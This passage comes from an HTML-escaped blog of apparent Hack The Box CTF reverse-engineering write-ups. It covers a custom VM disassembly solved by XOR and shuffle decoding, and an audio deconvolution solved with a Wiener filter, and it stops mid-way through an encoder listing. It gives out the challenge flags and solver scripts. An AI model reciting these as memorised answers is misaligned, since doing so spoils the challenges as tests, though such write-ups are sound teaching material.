&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">852: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">858: MOV [30] &amp;lt;- 48
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">864: MOV [28] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">870: MOV [29] &amp;lt;- 36
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">876: INPUT [25]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">882: STORE MEM[[30]] &amp;lt;- [25]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">888: ADDI [30] &amp;lt;- [30] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">894: ADDI [28] &amp;lt;- [28] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">900: JLE pc &amp;lt;- 876 if [28] &amp;lt;= [29]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">906: MOV [28] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">912: MOV [29] &amp;lt;- 35
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">918: MOV [30] &amp;lt;- 48
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">924: MOV [31] &amp;lt;- 148
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">930: MOV [26] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">936: MOV [27] &amp;lt;- 35
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">942: LOAD [20] &amp;lt;- MEM[[30]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">948: LOAD [21] &amp;lt;- MEM[[31]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">954: PUSH [20]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">960: POP [19]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">966: MOV [18] &amp;lt;- 48
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">972: ADD [18] &amp;lt;- [18] + [21]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">978: LOAD [17] &amp;lt;- MEM[[18]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">984: STORE MEM[[30]] &amp;lt;- [17]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">990: STORE MEM[[18]] &amp;lt;- [19]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">996: ADDI [26] &amp;lt;- [26] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1002: ADDI [30] &amp;lt;- [30] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1008: ADDI [31] &amp;lt;- [31] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1014: JLE pc &amp;lt;- 942 if [26] &amp;lt;= [27]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1020: MOV [30] &amp;lt;- 48
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1026: MOV [31] &amp;lt;- 248
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1032: MOV [26] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1038: MOV [27] &amp;lt;- 35
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1044: LOAD [20] &amp;lt;- MEM[[30]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1050: PUSH [31]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1056: POP [15]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1062: ADD [15] &amp;lt;- [15] + [28]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1068: LOAD [16] &amp;lt;- MEM[[15]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1074: XOR [20] &amp;lt;- [20] ^ [16]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1080: STORE MEM[[30]] &amp;lt;- [20]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1086: ADDI [26] &amp;lt;- [26] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1092: ADDI [30] &amp;lt;- [30] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1098: JLE pc &amp;lt;- 1044 if [26] &amp;lt;= [27]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1104: ADDI [28] &amp;lt;- [28] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1110: JLE pc &amp;lt;- 918 if [28] &amp;lt;= [29]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1116: MOV [30] &amp;lt;- 48
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1122: MOV [31] &amp;lt;- 92
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1128: MOV [26] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1134: MOV [27] &amp;lt;- 35
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1140: LOAD [15] &amp;lt;- MEM[[30]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1146: LOAD [16] &amp;lt;- MEM[[31]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1152: JE pc &amp;lt;- 1206 if [15] == [16]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1158: PUTC &amp;#39;W&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1164: PUTC &amp;#39;r&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1170: PUTC &amp;#39;o&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1176: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1182: PUTC &amp;#39;g&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1188: PUTC &amp;#39;!&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1194: PUTC &amp;#39;\n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1200: EXIT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1206: ADDI [26] &amp;lt;- [26] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1212: ADDI [30] &amp;lt;- [30] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1218: ADDI [31] &amp;lt;- [31] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1224: JLE pc &amp;lt;- 1140 if [26] &amp;lt;= [27]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1230: PUTC &amp;#39;A&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1236: PUTC &amp;#39;c&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1242: PUTC &amp;#39;c&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1248: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1254: PUTC &amp;#39;s&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1260: PUTC &amp;#39;s&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1266: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1272: PUTC &amp;#39;g&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1278: PUTC &amp;#39;r&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1284: PUTC &amp;#39;a&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1290: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1296: PUTC &amp;#39;t&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1302: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1308: PUTC &amp;#39;d&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1314: PUTC &amp;#39;,&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1320: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1326: PUTC &amp;#39;s&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1332: PUTC &amp;#39;h&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1338: PUTC &amp;#39;u&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1344: PUTC &amp;#39;t&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1350: PUTC &amp;#39;t&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1356: PUTC &amp;#39;i&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1362: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1368: PUTC &amp;#39;g&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1374: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1380: PUTC &amp;#39;d&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1386: PUTC &amp;#39;o&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1392: PUTC &amp;#39;w&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1398: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1404: PUTC &amp;#39;!&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1410: PUTC &amp;#39;\n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1416: EXIT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1422: UNKNOWN 69
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For the part from &lt;strong>714&lt;/strong> onwards, the text is being &lt;strong>XOR-ed&lt;/strong> with key &lt;strong>0x69&lt;/strong>.&lt;/p>
&lt;p>Use debuggers to read the memory at &lt;strong>[30]&lt;/strong> then &lt;strong>XOR&lt;/strong> with key &lt;strong>169&lt;/strong>, we get the first input, which is &lt;strong>c0d3_r3d_5hutd0wn&lt;/strong>.&lt;/p>
&lt;img src="re10.png" alt="linux" width="1000"/>
&lt;p>Then we reach the part that it prints out &lt;strong>Enter secret phrase&lt;/strong>. For this part, the algorithm is &lt;strong>shuffle and XOR&lt;/strong>, which can be solved by using debuggers to read the memory at &lt;strong>[92]&lt;/strong>, &lt;strong>[148]&lt;/strong> and &lt;strong>[248]&lt;/strong>, then by the Python script below, we get the flag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">malduck&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">unhex&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">unhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;13190F0A07001D0E16100C010B1F181408091C1A21042212051B1120060215170D1E2303&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">#[148]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">unhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;16B047B201FBDEEB825D5B5D107C6E215FE7452A3623D4D726D5A311EDE75ECBDB9FDDE2&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">#[248]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">list&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">unhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;655D774A3340566C75375D356E6E66366C367065776A31795D31707F6C6E33323636315D&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="c1">#[92]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">36&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">k&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">35&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">key2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">k&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">35&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">tmp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">key1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">key1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">]]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">tmp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">flag&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{5w1rl_4r0und_7h3_4l13n_l4ngu4g3}&lt;/strong>&lt;/p>
&lt;h2 id="somewhat-linear">Somewhat Linear&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1_ExekBgLRfE1J9aMB1QReaAHuX6_SHHZ?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this challenge, we are provided with &lt;strong>input_generator.py&lt;/strong>, &lt;strong>impulse_response.wav&lt;/strong>, and &lt;strong>shuffled_flag.wav&lt;/strong> files. The objective is to reverse the process implemented in &lt;strong>input_generator.py&lt;/strong> to recover the original flag message.&lt;/p>
&lt;p>The &lt;strong>input_generator.py&lt;/strong> script reads the flag from a file, applies a randomly generated filter to shuffle the frequencies, and then writes the shuffled flag and impulse response to two separate WAV files. The filtering process is achieved by multiplying the amplitudes of the flag&amp;rsquo;s frequency components with the randomly generated &lt;strong>filter_frequency_response&lt;/strong>.&lt;/p>
&lt;p>To solve the challenge, we must deconvolute the shuffled flag by applying the inverse of the filter.&lt;/p>
&lt;p>First, read the &lt;strong>impulse_response.wav&lt;/strong> and &lt;strong>shuffled_flag.wav&lt;/strong> files.&lt;/p>
&lt;p>Next, calculate the filter&amp;rsquo;s frequency response by taking the ratio of the Fast Fourier Transform (FFT) of shuffled_flag.wav to the FFT of impulse_response.wav.&lt;/p>
&lt;p>Finally, apply the inverse of the filter to shuffled_flag.wav to recover the original flag.&lt;/p>
&lt;p>However, the initial attempt to reverse the process yielded a low signal-to-noise ratio, making it difficult to hear the flag. To improve the result, a Wiener filter was implemented. The Wiener filter helps in deconvolution, extracting the original signal from the convoluted signal (in this case, the filter).&lt;/p>
&lt;p>Here&amp;rsquo;s the Python code to recover the flag using the Wiener filter:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">numpy&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="nn">np&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">soundfile&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="nn">sf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Read impulse_response.wav and shuffled_flag.wav&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">impulse_response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rate&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;impulse_response.wav&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">shuffled_flag&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rate&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;shuffled_flag.wav&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Compute the Wiener filter&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">impulse_response_fft&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">np&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fft&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rfft&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">impulse_response&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">shuffled_flag_fft&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">np&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fft&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rfft&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shuffled_flag&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">wiener_filter&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">np&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">conj&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">impulse_response_fft&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">np&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">abs&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">impulse_response_fft&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">2&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mf">1e-6&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># Adding a small value to avoid division by zero&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Apply the Wiener filter to recover the original flag&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">recovered_flag_fft&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">wiener_filter&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">shuffled_flag_fft&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">recovered_flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">np&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fft&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">irfft&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">recovered_flag_fft&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Save the result to a WAV file&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;recovered_flag_using_wiener_filter.wav&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">recovered_flag&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rate&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After running the script, we can listen to the recovered_flag_using_wiener_filter.wav file to hear the flag.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{th1s_w@s_l0w_eff0rt}&lt;/strong>&lt;/p>
&lt;h2 id="analogue-signal-processing-v2">Analogue Signal Processing v2&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1HJWdy9Z56bPPIs0nPko2R1KUX7dCCUyj?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Insane&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this challenge, the encoding process is implemented in &lt;strong>input_generator.py&lt;/strong>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">encode_flag&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">vin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">np&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">random&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">uniform&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">samples&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">vout&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">simulate_chained_circuits&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">ZLCircuit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">j&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="nb">ord&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)],&lt;/span> &lt;span class="n">vin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">duration&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SAMPLE_RATE&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;audio/encoded&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">.wav&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">np&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">real&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">vout&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">astype&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;float64&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">SAMPLE_RATE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">subtype&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;DOUBLE&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">vin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">vout&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;encoded &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1"> of &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1"> characters&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
